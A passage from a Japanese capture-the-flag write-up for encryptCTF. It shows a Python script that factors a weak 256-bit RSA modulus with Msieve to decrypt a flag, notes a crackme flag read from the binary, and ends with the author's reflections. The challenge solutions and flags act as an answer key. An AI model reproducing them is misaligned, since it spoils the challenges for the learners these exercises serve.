from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2

pubkey_file = "pubkey.pem"

pubkey = RSA.importKey(open(pubkey_file, "rb").read())
print(pubkey.exportKey())
print(pubkey.n)
print(pubkey.e)

実行結果

$ python solve.py 
b'-----BEGIN PUBLIC KEY-----\nMDswDQYJKoZIhvcNAQEBBQADKgAwJwIgf/0rGqcnR/agG5+Wd3h7oXKQkz46RmQM\n7lU4NDIJq9ECAwEAAQ==\n-----END PUBLIC KEY-----'
57891041571118599917733172578294383243762455810797917992757930072844611988433
65537

このNを、Msieveを使って素因数分解してみます。

recovered 15 nontrivial dependencies
p39 factor: 194038568404418855662295887732506969011
p39 factor: 298348117320990514224871985940356407403
elapsed time 00:03:51

4分弱かかりましたが、計算できました!
p,qが得られたので、平文を再構築します。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2

cipher = 0x369ad6199548d8181c26d112d1061008c056f08c75339366435046a9a8fbf295
e = 65537

pubkey_file = "pubkey.pem"

pubkey = RSA.importKey(open(pubkey_file, "rb").read())
print(pubkey.exportKey())
print(pubkey.n)
print(pubkey.e)

n = 57891041571118599917733172578294383243762455810797917992757930072844611988433
p = 194038568404418855662295887732506969011
q = 298348117320990514224871985940356407403

d = inverse(e, (p-1)*(q-1))
plain = pow(cipher, d, n)
print(long_to_bytes(plain).split())

実行結果

$ python solve.py 
b'-----BEGIN PUBLIC KEY-----\nMDswDQYJKoZIhvcNAQEBBQADKgAwJwIgf/0rGqcnR/agG5+Wd3h7oXKQkz46RmQM\n7lU4NDIJq9ECAwEAAQ==\n-----END PUBLIC KEY-----'
57891041571118599917733172578294383243762455810797917992757930072844611988433
65537
[b'encryptCTF{1%_0F_1%}']

[Reversing] crackme01 (75 pt, 368 solves)

this is crackme01. crackme01 is a crackme. so crackme!

DLした実行ファイル crackme01 をHopperで中身見てたらFlagが書いてあった。

flag: encryptCTF{gdb_or_r2?}

感想

難易度的には今の自分にはちょうどよかった気がします。あと、今まで参加した大会の中で一番時間を割けたので「ああ、私の実力こんな感じだな」と納得がいきました。いつもリアルタイムの競技だと、ちょっと参加して終わりになっちゃうので。
今回もソロで出ましたが、この実力ではまだまだソロで解きたい気分。ワイワイするのも楽しそうですが、自分で解く問題がなくて悲しくなりそう。

Discordのfeedbackチャネルにもいくつか書き込みがありましたが、よくわからないmemeや問題文が、ミスリードを誘ったり時間の浪費につながりがち。勉強になればいいな、と思って参加する身としては(文化や言語の違いも大きいと思いますが)楽しめないし、何も身につかないし、時間の浪費でした。ヒントにならない画像をひたすら眺めたり解析したりして。
作問も大変なんだろうなーとか、そういうのも楽しめるようになれれば良いんだろうなぁと思いつつ、他国開催の大会は特にこういうので置いてかれやすいから気をつけようと思ったのでした。

今回は途中まで解いて、最後の一手思いつかなかった!みたいなのがいくつかあり、他の人のwrite-upを見るのが悔しいような楽しみなような。ここの最後の一手が思いつくかどうかの壁がかなり高いと思うんですけどねー。